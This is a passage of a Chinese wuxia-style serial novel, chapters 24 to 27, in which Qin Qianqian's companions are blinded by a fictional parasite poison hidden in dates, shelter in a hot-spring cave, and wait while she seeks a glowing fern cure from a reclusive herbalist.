可这事儿他们在这里讨论也不是个办法，最起码得把秦千千叫下来。王老怪主动上楼叫她，顺带着把晏信也给叫了下来。
刚睡醒的秦千千眼神还很是呆滞，听王老怪和元德再次声情并茂讲了一遍经过后，她还是一副没睡醒的样子。白邵禾按着纸条，把纸条推到她面前。
秦千千低头瞟了一眼后，呼吸一滞。众人互换了个眼神，看起来，她这里是有线索的！
“不是，字我都认识，谁这么无聊写这种东西吓人啊？”
秦千千拿起纸条左看右看，语气听起来毫不在乎。但看着周围人都很严肃，不像是跟她开玩笑的样子，她这才认真了起来。
“纵使这是真的，那又怎么样。你们看，咱们这里四个能打的，一个……，不对，桑姐姐和桃花哪去了？”她这才警觉，少了两个人啊！
正当她脸色大变的时候，那两个人从门口优哉游哉地回来了。秦千千捂住怦怦跳的心口，差点没给她吓死。人到齐后，刚好可以商量怎么办。
“我还是那个意见，我们这么多人，是不会怕这种背地里耍暗箭的人的。”秦千千依旧坚持明天出发，什么今夜子时，她完全没有放在眼里。
晏信也赞同她的说法，“是啊，这种事情，我们也觉得没必要害怕。”
王老怪都见怪不怪了，他直接说自己服从安排，怎么样都可以。至于白邵禾，则是一直都没有表态。直到秦千千直接问他的想法，他才开了口。
“我懂你们说的意思，但我始终认为，这个恐吓不是玩笑。而且现实的形式，有可能比我们想想的更加严峻。”
他面色凝重，几乎是愁眉不展。众人不知道，他可知道，绕过暗卫层层的包围圈，把这个消息直接送到房间是有多夸张。
换个说法，要是刺客，那他现在就已经遇袭了。
秦千千不懂他怎么就如此慎重了，甚至说句杞人忧天都不为过。
在江湖上，就是有那种非常会放狠话的人，也有些人就会这么做，目的就是为了吓唬人而已
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最后，桑风雪来了个总结性发言。
“白公子，你说的话不无道理，那我们多加小心就是了。”言下之意，她们还是要听秦千千的。白邵禾觉得多说无益，便点头应允。
反正人都聚齐了，她们直接在楼下吃了饭才上楼。在秦千千上楼后，桑风雪声音不卑不亢，跟白邵禾解释起来。
“千千就是这样，她决定的事情，谁都劝不了。所以这次留下的选择，或许是错的。但也得让她亲自撞了下南墙，她才会回头。”
两人并肩上楼，听到这话，白邵禾无奈地笑笑。原来是要给秦千千上一课，那他无话可说。
夜幕降临，街市上又热闹了起来。
秦千千她们又赶到温泉山，跟上次一样，分别去了上汤山。只不过路过中汤山时，秦千千不仅好奇起地名来。
“涌泉镇，听着像是要报谁的恩。至于这上汤中汤，也很奇怪，怎么没有下汤？”
“这你问不了我们吧，你要是不知道，那天下人是不是应该都不知道？”也就只有王老怪，敢跟她开这种玩笑了。
秦千千白了他一眼，“嘁，还能不能好好聊聊天了？”
也不是所有的东西，她都知道的。她还时常感叹呢，大家不懂的东西，她有九成概率能解答。可她要是真对什么感到好奇，那真是谁也帮不了她。
今夜温泉山上的人，比之前还要多。于是她们三个只能沿着山路一直往上走，走到人没有那么多的半山腰，选了个池子跳进去。
桃花花依旧锲而不舍地尝试潜入池底，桑风雪难得放松，她背倚着岸边，闭目养神。秦千千更是独树一帜，她干脆摆成个大字型，直接飘在水上，时不时用手波动水面，控制自己不飘到岸边。
正当她惬意地闭眼，快要昏昏欲睡时，一只大鸟扑棱着翅膀飞了过来，直直落在她的肚子上。好在那鹰没有用力勾挠，不然一定抓破衣服，甚至抓掉她一块儿肉……
秦千千被吓得扑棱两下水，那鹰仿佛搞完恶作剧的孩童，一振翅飞到了岸边，任由秦千千在水中浮沉。桑风雪听到动静游过来，拉着她游到岸边。
“喏，应该是有消息来吧。”桑风雪认得那鹰，那是姜千秋从小养大，专门用来送信笺的。只不过那鹰认人，桑风雪不敢往前面去。
秦千千游过去，她憋着坏泼了那鹰一捧水，谁知道还被鹰给躲过去了。她骂骂咧咧地过去，把鹰脚上的信笺掏出来。
借着月光看清本不大的字体，顿时觉得后背发凉。而在她哆嗦着手把信笺塞回去后，鹰才展翅盘旋着离开。
察觉她情况不对，桑风雪和桃花花赶忙过来，问她怎么了。
“我们已经步入圈套了，”秦千千双眉紧锁，盯着她们两个：“你们听我说，接下来你们两个哪也别去，千万别离开温泉，直到我找到下汤山在哪。不然，你们的眼睛会瞎的。”
说罢，她赶忙起身下山，得想办法把消息送给王老怪他们三个。
24. 暂时躲避
在出口处看到三个人的时候，秦千千就知道全完了，她转头去找收费的地方，要求买一座温泉。
“小姐，一座温泉八千两，您确定要买？”
纵使情况紧急，听到价格的时候，秦千千还是愣了一下。她为难地咬了下嘴唇，压低声音询问他：“那你能帮我查查有个人，她在这里有购置温泉吗？”
“哪位？”
“姜千秋。”
那人瞳孔震颤，秦千千知道自己这算是问对了。而后他招手派人接管他手上的生意，他则是要把秦千千请进屋中招待。
眼下哪还是寒暄的时间，秦千千直接问他有没有，有的话带自己过去，再耽误一会儿，那三个人真的要瞎了。
“有倒是有，只不过也不是谁报她的大名，我们都得带去的。我们有个密函，您能说出来吗？”
秦千千猜测应该是某串数字吧？她飞速想了下主人有没有给自己留下什么线索。没过一会儿，福至心灵。
“二四三七五一，一七三五四二。”
那人满脸欣慰，“好的，您说对了其中一处，我现在带您过去。”
这话信息量可太大了。
秦千千在心里震惊，自己主人到底在这里买了多少个温泉啊？真是不出来不知道，一出来才发现，主人真不愧是玩转江湖的人。
而且，主人平日也十分节俭，从来不铺张浪费……现在只能说，主人在自己心中的形象，有一些改变了。
秦千千过去喊那三个人，他们站在原地已经有些头昏脑涨的了。
“别怕，我现在带你们去一个温泉。你们现在这也就是中毒，所以眼睛没有温泉的蒸腾疗愈，会很快看不见东西的。因此，到地方后，你们安静待在那里，我去给你们找解药。”
趁着他们还能看得见，秦千千赶紧跟着仆役，把他们带过去。稍等一会儿，她还得把桑风雪和桃花花也带过来。
白邵禾眉头紧锁，询问秦千千情况，她坦然地说自己没事，不过桑风雪她们却中了招。
这下想让他不怀疑都难。
他神情复杂地看着秦千千，难不成，是这个人下毒给他们，自己好分身去处理别的事情？于是，他只得提起十二万分小心，时刻观察着她。
四个人在仆役的带领下，朝着远离温泉山的方向走。而后左拐右转，走到一个密林中，那里的树全都是五角枫叶。在林间穿行一段时间后，众人停到了一座石头山前。
“各位，我们这里的规矩是不能乱逛。这福地洞天，就是您的汤泉，请各位进去吧。”
秦千千倒是没想到，这温泉居然在山洞之中，这让她让心中冒出了一个想法。
“劳驾，这整座石头山，有名字吗？”
“有的，就叫下汤山。”
说罢，那仆役就先行告退，秦千千如同被人当头棒喝，愣在原地。她随口一说的事情，怎么就成真了？
王老怪已经先行进去，而后传来一连串哎呦哎呦的声音，剩下的人赶忙进去查看他的情况。
原来是由于水面热气蒸腾，雾气聚集在山洞中没有挥发出去。因此，洞中云雾缭绕的不说，温度也是非常之高。众人一起进去，就觉得十分燥热。
“这福地洞天，果然名不虚传啊。”王老怪刚呼喝一通，现在又立马感慨起来。他先走到泉边，蹲了下来，用手轻轻拨弄着水面。“都说活血舒筋，唯有这热气，最活血舒筋。”
白邵禾也感觉出来了，原本突突跳着，弄得人脑子嗡疼的眼球，现在则是渐渐恢复了正常。元德用手揉了揉自己眼睛，努力瞪着往前看。
视野中的黑影不见了。
“刚刚灰蒙蒙的一层不见了！”元德兴奋地说，王老怪也抬手看了看自己的五指饭，发现这是真的。秦千千这才长出了一口气。
“那你们就先在这里好好待着，我去把桑姐姐和桃花接过来。”
秦千千走后，元德不信那个邪，他也跟着出了山洞。不消一瞬，他眼前的景色突然全黑了，就像是谁用手突然蒙住他的眼睛一样。
元德赶忙转身往山洞里走，白邵禾一直在皱眉沉思，这毒究竟是怎么回事儿。完全没注意，元德慌忙之间已经走到泉边，被王老怪的胳膊绊了一下，两个人纠纠缠缠地一起跌落泉中。
白邵禾上前查看情况，两个人从水里扑腾出来，王老怪就指着元德骂他。还用手泼了两下元德，元德自知理亏，只能干脆躲在水里。
在水中睁开眼后，他才发现自己在水里居然看得一清二楚。而后他又浮出水面，却发现眼前还是雾蒙蒙的样子。如此反复两次，元德算是确定了这个事实。
王老怪转头看了眼白邵禾，白邵禾也没看懂元德上上下下的，这是在干嘛。等元德兴奋地跟他们说清楚后，一下子沉默了两个人。
“不应该啊……我怎么从来没有听说过，这种治病救人的法子。还是说，这毒药是这里独特的，解法就这一种？”
白邵禾觉得百闻不如一试，现在他眼前算是清明，于是他准备出去测试一番。谁知秦千千火急火燎地带着人回来，两个人差点撞上。来不及跟他客套，秦千千赶忙让桑风雪和桃花花跳进水中。
一切搞定后，她这才气喘吁吁地跟各位解释起来。
那纸条并不是所谓的最后通牒，那是个死局。她猜测那是他们应该已经中毒了，因此若真的按照纸条上的警告做，眼前这些人就都得瞎了。
至于是什么时候中的毒，她却摸不准主意。她们一直通吃同住，没道理他们背着自己吃了什么东西吧？
“会不会是，当时千千没有摸那张纸条？”桃花花脚够不着池底，她就只能在水中浮沉，水面时而没过她的肩头。
秦千千沉默着摇摇头，不，她记得当时自己是拿起了那张纸条的。她盘腿坐在地上沉思起来，自己什么时候没跟她们一起了呢？
“你在楼上睡觉的时候！”与其让别人提起这事儿，自己百口莫辩，白邵禾还是选择自己说出来。
自从他知道秦千千没中毒后，就想到了她唯一不在场的时候。可那时候，他们唯一共同接触过的东西，就是那盘青枣。
他之前之所以不说，是在思虑，万一把随行的暗卫牵扯出来，那可就大事不好了。可眼下，他不说，秦千千早晚会想到
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的。
秦千千若有所思地点头，“那你们当时有一起吃过，或者接触过什么东西，是我没有碰到的吗？”
王老怪趴在岸边，一手托腮开口：“我们能背着你吃什么……，不对，我们当时吃了一盘青枣。”
听他这么说，桑风雪也想起来了。
“我们回去的时候，你们聚在楼下吃青枣，问题是当时千千也在，你难道就没有碰青枣吗？”
没等她开口，桃花花替她解答了这个问题。“千千从来不吃枣，她听到咬枣的嘎吱声，会浑身颤栗的。昨天我记得清楚，晏信也说他不吃的。”
是了，这下所有人都反应过来，应该就是枣被人下了毒。白邵禾在一旁咬着牙沉默，那枣是他亲手从莫凝歆手里拿过去的，怎么可能会有问题！
元德也在水中默不作声，他总觉得，是哪里出了什么问题。
“老板，你还记得晏信他有碰过青枣吗？”元德开口问岸边盘腿坐着，胳膊支在膝盖上，托着脸的秦千千。
两人当时一同下楼的，秦千千记得自己压根没碰青枣，晏信的话……
“他应该是拿起枣，看了看又放下了，没吃。”
白邵禾也撩开长袍席地而坐，跟她分析起接下来要干什么：“那接下来，就得全仰仗千千你，去查明真相，帮我们找到解药了。”
最重要的是回客栈找晏信，看看他的情况。若是他没中毒，那秦千千还算是有个帮手；可若是他也中了毒，那就全得仰赖秦千千，拯救他们了。
听他分析的有道理，秦千千也正准备去找晏信。白邵禾扶着地起身，朝她伸出手。
秦千千愣了一下，才把自己的手搭了上去。起身后，她便头也不回地走了。
白邵禾站在洞口，打量着慢慢溢出洞口的雾气，他终究还是踏出了那一步。在洞口稍作停留后，他立马赶回洞中，然后慢慢潜入水中。
水下的石壁果然让他看得一清二楚！他赶忙走过去找王老怪，他见多识广，说不定听说过什么。
就这样，她们开始讨论这个，并且一个一个都不信邪，非要去试试。直到所有人都试过后，都沉默地泡在温泉里。
事已至此，王老怪开始分析了起来，他一边说话，还一边用温泉水泼自己的脸。
“世间百苦百病，莫过于外病内疾两种。内疾就是说身体自身出了问题，比如肝火旺，先天五残这种；可外病的门道可多了，其中最为杀人于无形、也是最邪乎的，也就是蛊虫之说。”
就像那天的江郎，他派人用蛊虫毒害别人，做出听话的傀儡。这种人一般叫傀儡将，不同人有不同的蛊虫。说到这里，王老怪突然想到，他们在江郎那里，好像漏了个人。
“那个傀儡将！当初千千被挟持，江郎府上有个傀儡将！”
说起这个，白邵禾全想起来了，当时他动手捅了秦千千，那人翻窗跑路了。他当时只以为那是个喽啰，没想到也算是个人物。就在这时，秦千千搀着晏信回来了。
她脸色阴沉，赶忙把晏信放在水中，嘱咐她们把他拖进水里。
“他中招了，而且比你们都严重。”
25. 外出寻药
王老怪看了一眼晏信，他已经昏迷了，而且眼中还在不断往外面渗出某种液体。那液体甚是诡异，是一种黄色的东西。
王老怪来不及详细研究，他赶忙用泉水擦洗晏信的眼睛。白邵禾他们不敢轻举妄动。
秦千千在岸上看的着急，她直接跳下水，面对面按着晏信的肩膀，把他按到了水里。
“都生死攸关的时候了，那种成效太慢了！”
把人按在水里后，她也潜下水，用手扒开了晏信的眼睛。果然给她看到一股雾蒙蒙的东西，消散在泉水中。
她这才喘了口气，松开了手。
把人推给元德，让他帮忙扶着，秦千千这才有空歇息一下。
白邵禾趁这个空闲，跟秦千千聊了他们刚刚猜测的凶手。
“这说法也有道理，现在的问题……”秦千千额头上的水淌进眼里，她突然低头眨了一下左眼。
这倒是把白邵禾他们吓了一跳，都呼吸一滞。
“没事吧？”白邵禾往前一步歪头查看，秦千千摇了摇头。
“没事，就是眼睛里进水了。我刚刚是想问王老怪，你知不知道蕨草？”
这是信笺中写的解药，可是秦千千完全不了解，只得求助唯一懂的王老怪。王老怪面色疑惑起来，蕨草，不是一种草的统称吗？
“蕨草不是山中到处都是的那一种吗？”
“你再想想有没有什么特殊的蕨草，有一种蕨草是解药，但我只知道这么多了。”
……这线索可以说是聊胜于无，王老怪皱着眉头沉思，一旁的秦千千深吸一口气，突然扎进水中。
这是她的习惯，她在整理脑中线索的时候，喜欢万籁俱寂的氛围。桃花花朝别人摆手，这时候最好不要打扰她。
白邵禾他们往后退，全都退守泉边。元德怀中的晏信，突然猛烈咳嗽起来。
“咳咳咳！”
“晏公子，你终于醒了啊！”
王老怪实在想不出，他就游过来查看晏信的情况。晏信眼神还是呆滞着，不过等他再次闭眼睁眼后，眼睛就恢复了正常。
“我现在是在哪里？我怎么能看到了！”
晏信看着自己的双手，一脸就要喜极而泣的样子。
晚上吃罢饭,秦千千她们要来泡温泉，晏信不想来。他嫌弃一堆人一起洗不干净，因此就留在了客栈。可没过一个时辰，他就头痛难忍。
晏信就想着躺床上修养一下，谁知醒来就发现自己看不到了。再后来头痛欲裂，他又昏了过去。再睁眼，就是现在的情况了。
“我们都中了那个毒，只能在这温泉里泡着，不让毒性发作。至于凶手或者别的，我们一点头绪都没有。”
解释完，白邵禾转头看向依旧潜在水中的秦千千，他没想到这人居然能憋气这么久？
“那我是怎么过来的，我明明记得我昏倒在客栈的。”
“晏公子，是千千把你带过来的。我们之中，只有她没中毒。而且，我们猜测，毒来自那盘青枣……”
桑风雪说到这里，她眼神复杂地看了一下白邵禾。
“白公子，千千要是没有别的线索的话，你就得好好回忆一下，卖青枣的商人了。”
白邵禾面不改色地点头，青脆枣也算是涌泉镇的特产，他到时候只要随便胡诌出一个人就行。反正，他是不会把莫凝歆她们供出来的。
秦千千忽然从水底钻了出来，她用手擦去脸上的水，一脸兴奋地跟她们说：“想起来了！我想起一种蕨草，肯定能治你们的病。”
众人赶紧围上去，让她详细说说。
她手在水面上滑动，给她们勾勒出那植物大致的样子，一边描绘形状，一边介绍那植物的特性。
“月光蕨，在白日是一种平平无奇，跟别的蕨草枝叶舒展别无二致。可当明月高悬的时候，真正的月光蕨，周身会散发出幽白的光辉。”
说到这里，她转头看了下洞外的天色，正好是夜色浓重的时候。
“这月光蕨能解百毒，所以准没错。”
秦千千不愿再耽误时间，她准备立马出发。白邵禾跟着她出了温泉，在洞口嘱咐她多加小心。
山野猛兽，不小心就要丢掉性命的。
等她走了一会儿后，白邵禾突然听到有脚步声，而后有人从洞口走了进来。问了才知道，这是秦千千安排过来照顾他们的仆人。
“各位，有什么事情，请随便唤我。我就在洞口候着。”说罢，王七低头退了出去。
白邵禾端坐在岸边，愁眉不展。山洞中的气氛也的确不高，大家有种在这里等死的沉寂。
晏信实在忍不住，就问最了解秦千千的桑风雪和桃花花，她是不是一点武功都不会。他担心，秦千千会遇到危险。
“我们整日在店中，看家护卫有专门的人，因此我和千千真的是一点武功都不会的。”桃花花越说声音越小，桑风雪的眉头锁的更紧了。
“眼下我们只有相信她了，不过千千吉人自有天相，总会逢凶化吉的。”
沉默良久的王老怪也开了口，只不过，他的想法很是悲观：“我在想这有没有可能是一个圈套，目的其实是寻找解药的千千？”
白邵禾担心的也是这点，毕竟杀死几个行走江湖的无名小卒，对凶手来说，太过无足轻重了。
可若是用蛊虫控制了秦千千，那也就相当于，拥有了清风酒楼，这个情报机构。他不信，凶手不会对此心动。
不过，他比王老怪稍微放心一点的是，莫凝歆一定在暗中保护她。护她周全，应该是没什么问题的。哪怕傀儡将真的得手，自己这里总会得到消息的。
“有这种可能，所以我们不能坐以待毙。”
白邵禾把门口的王七喊进来，掏出一百两的银票，嘱咐他帮忙找几个人去跟着秦千千。另外又掏出一百两，让他再找一队人，上山找月光蕨。
“还有，我再给你加一百两，把你们镇子上最好的郎中，给我找过来。”
在白银的加持下，王七很快就把郎中给带来了。
那位头上裹着枣红布的婆婆，满脸和蔼。她从进入山洞后，就在打量着所有人。
“说说吧，你们都怎么了？”
王七也不知道这群人要看什么病，只好把镇上什么都懂一些的领婆婆带来。这领婆婆巫蛊之术和医术都精通一些，在镇上比较受人尊敬。
白邵禾看出她应该是
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有些讲究的，毕竟从进来，她就跟他们保持着安全距离。估计生怕是有什么传染病吧？
晏信一五一十地把情况跟她说清楚，那领婆婆才长出了一口气。
“嗨呀，我还当什么恶疾呢……”
“婆婆，您的意思是，这个病不重？”元德好奇地问，毕竟看她神情突然放松，想来也不是什么重病。
“恰恰相反，这病没法治疗。”
“……”白邵禾被气笑了，若是在朝堂中有人敢这么耍自己，他早就把她关起来了。“那你为何发笑？”这话几乎是他咬着牙问出来的。
领婆婆朝他走过去，抬手朝白邵禾脸伸了过来，白邵禾下意识转头，却被枯槁如树皮的手牢牢钳住下巴。领婆婆好声好气地说：“别动，我看看毒势。”
就这样，白邵禾微微弯腰，由着她扒开自己的下眼睑。左右眼都查看后，领婆婆开始查看每一个人的情况。
全都检查检查过来后，她拍了拍晏信的肩膀。
“小伙子，你中毒最深啊！不过倒是好了一点点，这倒是奇怪。”
也是通过领婆婆的话中，她们才彻底了解清楚，这到底是一种什么毒。
厌光瓢，是一种比粟米还小上十倍的虫子，这种虫子最喜眼泪，因此一般寄生在人的眼睛里。自打厌光瓢进入眼中，不消一刻钟，就能让人失明。
“这也算是我们这里常见的病，虽然常见，但没有解法。后来有位神人路过，她当初指点我们，厌光瓢是寄生在野外的一种蘑菇上。而且传授给我们唯一的环节办法，那就是只能用温泉的蒸汽遏制住病情。”
说到这里，领婆婆顺手撩了一捧水，用水洗了洗手。
“可是没办法根治吗？”王老怪想都不用想，那人肯定是姜千秋。毕竟这种新奇路子，也只有姜千秋想得出。
不过他奇怪的是，姜千秋居然没办法根治这种病吗？
“这就不得不说，我们这里开山建温泉的原因了。那时候我们只听恩人说山中神泉能治病，于是大家就开始去山中求取神泉，由此发现很多泉眼。”
白邵禾不解，既然是大家自发开挖的泉眼，现在又怎么全都集中在温玉泉一人手中？还是说，他用了什么下作手段，兼并了这些泉眼。
“不不不，这倒没有，我们自愿卖给他的。你们想，万一一家的顶梁柱染上这病，就离不开这泉眼了，那一家的生计怎么办？刚巧温大户提了个好建议，泉眼卖给他后，每年又能拿分红，还能天天在温泉山工作，一举两得嘛。”
“原来如此……”
不得不说，这的确是一个破局的办法。可他心中还是有疑问，都说这是一种瓢虫，那岂不是会传染？而且现如今温泉山上，也没有那么多的感染病人吧？
领婆婆年纪大了站不住，她就直接坐在了地上，一一给她们讲解起来。
“罢了，反正你们这病也离不了这里。我时间还多着，那就慢慢给你们讲讲这其中的事情。”
听到这话，白邵禾一时语塞，可眼下也没有别的办法。
一路暗中与秦千千同行的莫凝歆，在一处峡谷前，跟丢了秦千千。而后一声惨绝人寰的叫声划过长夜，她心想，这下完了。
26. 死局
厌光瓢并不跟白邵禾他们想的那样，有很强的传染性。在虫子苏醒发病前，都是不具有传染性的。
唯有开始不适的前期，才很有可能会传染别人。
“况且，这种虫子在温泉热气的蒸腾下，更是休眠了。这也就是为什么，我现在不怕你们传染给我。”
领婆婆低头看了眼，湿漉漉的手掌，沉声继续说了下去。
“不过这病我最后一次见，也都八九年前了。你们究竟是怎么得上的这病？”
说起这个，几个人互相看了一眼，王老怪觉得现在都这种时候了，也没什么非要隐瞒的说法了。
哪怕青枣下毒是个猜测，他也一五一十地告诉了领婆婆。
“你说，有这种可能吗？”
“说不准。不过那人一定是很了解我们当地的事情，甚至可以说，这人就是当地人。”
领婆婆也是个性情中人，她怎么想的就怎么告诉了她们。
王老怪挠了挠头，试探性地问她：“你们这山上有月光蕨吗？你知道这种草药的功效吗？”
领婆婆不解地歪头，什么月光蕨，她怎么没听说过。白邵禾帮王老怪补充了一下月光蕨的外貌特征，领婆婆这才恍然大悟。
“我们这里管那种药草，叫地婆拐。因为夜深的时候，它发着光，很像土地婆的拐杖。”
白邵禾想了一下，月光蕨头部弯曲下垂，杆径笔直接地，的确在外形上很像拐杖。而领婆婆接下来说的话，让他们喜出望外。
“这东西虽然少见，但也并不是没有。只不过这东西特殊，保存不了一个月，而且不知道它的功效。我们采药人都觉得好玩而已，不会采摘那种东西的。”
王七火急火燎地跑了进来，他来不及喘息，赶忙跟白邵禾他们汇报秦千千那边的情况。
“公子，那位小姐走的很快，我带人奔着她离开的地方找过去，没有找到她。”
晏信的心突然被揪了起来，相比之下白邵禾的反应算是淡定。毕竟，他清楚莫凝歆一定在暗中跟着她。
而白邵禾万万没想到，莫凝歆已经跟丢了秦千千。
后来白邵禾跟领婆婆商量好，重金聘用她帮忙找月光蕨，越快越好。而王七继续找人去找秦千千，他们则是只能继续在这里等消息。
最糟糕的情况，就是月光蕨都找到了，秦千千还没回来。
鉴于这一路上的跌宕旅程，白邵禾直接做了最坏的打算，他转头拉着王老怪的胳膊，脸上疑云密布。
“若是月光蕨找到，那就得劳烦你，用不同的方法给我们治病了。”
“这……”
世间百方，方方不同。哪怕是同一种草药，处理的方法也不同。
因此王老怪为难也很正常。
白邵禾也知道这一点，他轻轻叹了口气，继续说道：“实在不行，我们这么多人，那就一人一个处理方法试药。”
他之所以这么急，是因为他总觉得心中惴惴不安的，或许秦千千那边出事了。
现在白邵禾也没办法跟莫凝歆取得联系，毕竟他们只能面面相觑地呆在这里。
好在整个山洞够大，王七又送来一些被褥，他们就席地而睡。
后半夜的时候，领婆婆带着自己二十岁出头的女儿过来，她背上背着一个竹编的背笼。
跟平时见到的那种敞口背笼不一样，这个背笼圆圆的像是灯笼，而且上面还盖了个红布包裹的盖子。
白邵禾先听到动静，桑风雪、元德还有晏信，接连醒过来。而王老怪则是被元德推醒的，今晚睡前他没机会喝酒，因此现在清醒的倒是很快。
“公子，这里面就是我们采的地婆拐。”
领竹打开背笼，白邵禾探头查看。
那地婆拐果然散发着盈盈的白光，他颇为好奇地拿起一只来看。
正在仔细观察的时候，眼睛突然传来一股刺痛，白邵禾猛地闭眼踉跄了一下。元德赶忙上前扶了一下他，而白邵禾手中的地婆拐也径直掉在地上。
“这是怎么回事儿？”领婆婆弯腰把地婆拐捡了起来，一旁的晏信不信这个邪，他伸手要过地婆拐。
可还没端详两眼，他眼睛也传来一阵刺痛的感觉……
“我本来还想，砸碎敷眼睛上。现在看来，这一招是万万行不通了啊！”
王老怪往前探着头看月光蕨，有前两位的前车之鉴，他压根就没有伸手触碰那东西。
转眼间白邵禾已经恢复如常，他灵光乍现，想到了眼前神奇的温泉水。
“领竹，那边有茶碗，你帮我取几个地婆拐，放进去。再用温泉水浸泡一下吧。”
吩咐完领竹，元德就知道他要干什么。
“白公子，让我来试吧。”
元德强行按下眼神中的恳切，现在的情况虽然不容乐观，但万万不能让殿下亲身试药。白邵禾摇头，想都没想就拒绝了他。
“来不及再推脱了，我现在很担心千千出了事情。等我试完这个，若是真的行，那我们就获救。若是不行，你们要抓紧试别的法子。”
白邵禾接过茶碗，把手伸进茶碗中，也就是这是，他有一个好的发现。在水中接触地婆拐，眼睛不会痛。
跟王老怪他们说了这个发现后，他就用手指沾水往眼皮上抹。食指拇指并拢，在右眼擦了两下。没有任何不适后，他缓缓睁开右眼。
现在就要去验证疗效了。
白邵禾把茶碗递给元德，自己朝着洞外走去。桃花花睡眼惺忪地起身，正好看到他出去，她赶忙起身问桑风雪现在在干嘛。
桑风雪还没跟她解释完，白邵禾就从外面跌跌撞撞地跑了进来。他右手捂住眼睛，元德赶忙去扶住他。
“快，把我扔水里。”白邵禾声音都在颤抖，目光却如盲人般呆滞。可元德却迟疑了，毕竟，这种大不敬的事情，他还没对殿下做过。
一旁的晏信和王老怪急的不轻，晏信上去一把推开元德，跟王老怪一人一边，架着白邵禾就把他扔进了水里。
在水中浮沉一会儿，白邵禾双眼这才渐渐能看到东西。等能看清岸上众人的时候，白邵禾无奈地摇摇头。
“我们不能再这么试了。”
在送走了领婆婆和领竹后，白邵禾正准备从温泉中出来，却听到了几声鸟叫。
“这是什么鸟？怎么突然叫了起来。”桃
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花花主打一个有问题就问，桑风雪看着洞口跟她解释：“山野之中就是这样，四更天后，会在某个时机，所有的鸟都聒噪起来的。”
白邵禾眼眸暗了暗，没有引起她们注意这事儿，丝毫不能让他放松。这暗号唯有最紧急的情况，才能用的。
也就是说……
白邵禾咬紧了牙，脑中回想怎么就走入这个死局了呢？
“哎呀，姑娘，你可算是醒了！”
秦千千一睁眼，就看到了一个质朴的农妇。梁晨放下手中的纺锤，赶忙过来查看她情况。
她皱着眉回忆，自己听到身后有人在跟踪她，于是会加快脚步逃离，谁知道一脚踩空从山坡上跌落了下去……看来，自己是被她们救了。
“我昏睡多长时间了？”
“得有个五六个时辰吧，现在都下午了。昨天夜里我听到后院有动静，以为是黄鼠狼来偷鸡，谁知道是你从山坡上滚下来，把我们鸡窝都砸塌了。”
梁晨看着没有丝毫责怪的意思，只不过秦千千满脸难堪，自己又捅了大篓子啊。
“我这先谢谢你了，我是上山找药，失足跌落下来。等我回去，一定赔你们一些银子！”
从福地洞天出发前，秦千千担心自己把银票弄丢，就交给桑风雪帮她保管，现在她身上是一分钱都没有。梁晨不在乎地摆摆手，说算了。
“你从那么高的山坡上滚下来，身上骨头都没断，就有些擦伤。我跟我娘说，你是有神仙保佑的人，所以我们不会要你钱的。”
梁晨出去帮她盛饭，在秦千千吃饭时，两个人聊起了采药的事情。
不过，梁晨不太懂药材，而且她们这个十来户的小村中，也只有一户人，以采药为生。
“那我待会儿去问问她，你给我指指她家在哪？”
“闫阿婆，就在最偏远的那个角落，我们都不跟她来往的。也不是我们不跟她来往，是她脾气太差，不跟我们来往。”
秦千千不由得咋舌，一个村也就十几户人家，这闫阿婆跟人家都合不来……看来，她这趟前去，也是挨骂的多。
不过没办法，她现在一瘸一拐的，要去采药也不切实际。还不如花钱买，来的痛快。
吃罢饭后，秦千千住着梁晨老娘的拐杖，跛着脚去拜访闫阿婆。
站在整齐的篱笆院墙外，秦千千勾头往里面看了看。院子中农具都是按顺序靠在墙上，院中也是异常的干净整洁。
“你是谁家的娃娃，在这里看什么！”院中突然响起一个声音，秦千千端详两眼才发现，闫阿婆是把窗子开了个缝，从缝里问她。
“闫阿婆，我想来你这里买药，你认识月光蕨吗？”
谁知她刚说完，闫阿婆“嘭”地关上了窗子。秦千千面露难色，准备上前再去敲敲院门。
谁知刚走到院门口，那门吱呀一声被人从里面打开。闫阿婆站在院中，白发苍苍却又两眼放光地问她。
“你跟我说说，是谁被厌光瓢给害了？”
说罢，闫阿婆背身往院中走去。
秦千千眼神一下复杂了起来，她怎么知道这事儿？但现在也犹豫不得，只能硬着头皮跟她进院。
27. 解毒
闫阿婆看着她对自己尚有戒备的样子，忍不住笑出声。她拍了拍眼前的椅子，让秦千千坐下。
“前几天才来了个丫头，要走我的独门秘方，现在你就因为这事儿找上门，那自然就是厌光瓢的事情了。”
“丫头？”秦千千一脸惊喜地四处张望，“那是我家主人！婆婆，她现在走了吗？”
闫阿婆随手指了个方向，说她早走了。“她跟我说了你，说她现在不想见你，就是因为要让你历练历练。可眼前这道坎，她不帮你，你还是过不去。”
秦千千万万没想到，自己主人原来是这个意思。她之前只是以为，是清风酒出了问题，动摇到酒楼的根本……
看来，也有主人的一番良苦用心在里面啊。
“她走前还说你会来找我，而且让我把地婆拐的解读方法教给你。等你回去了，就把这个解决办法，传授给一个叫领婆婆的人。”
说起那个丫头，闫阿婆脸上露出欣慰的表情，仿佛姜千秋已经成了她的知己一样。秦千千点头，闫阿婆却笑着继续说道：“那老太婆可是我的闺中密友呢，你见到她，帮我问句好。顺便帮我跟她说一句，老不死的，可烦死别人了。”
生死自来都是天大的事情，秦千千脸上流露出迟疑。毕竟这种话，她实在有些说不出口。
闫阿婆虽然年事已高，性情却十分豪爽，她看到秦千千一脸为难，就猛地拍了下桌子。
“你要是不帮我说，那我就不叫你那个办法了！”
“婆婆别生气，我说，我一定说。”
“算了，不说那句了，这么说确实不太好，我再帮你想句别的吧。”
从下午开始，秦千千一直学到月挂梢头，她困得头都抬不起来。好不容易学完所有步骤，她准备在闫阿婆家借宿的时候，却被赶走了。
“走走走，我这儿没地方给你睡！”
谁知道闫阿婆手劲儿那么大，秦千千正要耍赖，却被她一路推搡着推出门外。最后一推，把秦千千推了个狗吃屎。
她狼狈地转身，坐在地上。还没指着阿婆骂两句，阿婆合上大门转头就走了。
等她好不容易站起来，依旧踉跄着的时候，秦千千这才想起来，她的拐杖！
院子中的闫阿婆似乎也想到了这一点，她抄起拐杖，直接从院墙上扔了出去
“夜深了，回去的路上注意安全！”
若不是前脚被她推搡出门，秦千千真会以为这话，是从什么和蔼可亲之人嘴里说出来的。可惜闫阿婆不是，她就是个喜怒无常的怪人而已。
看着秦千千走远，闫阿婆本来准备进屋喊姜千秋，谁知她倒是未卜先知地出来了。姜千秋一脸无奈地笑着，转头看了眼闫阿婆。
教了一下午的闫阿婆，现在也是累得不轻。
“这丫头，真是投机取巧的一把好手。我辛辛苦苦教她，她最后倒是想要走我做好的成品，还有你这个贵人在身后帮她，她真是个享福的好命啊。”
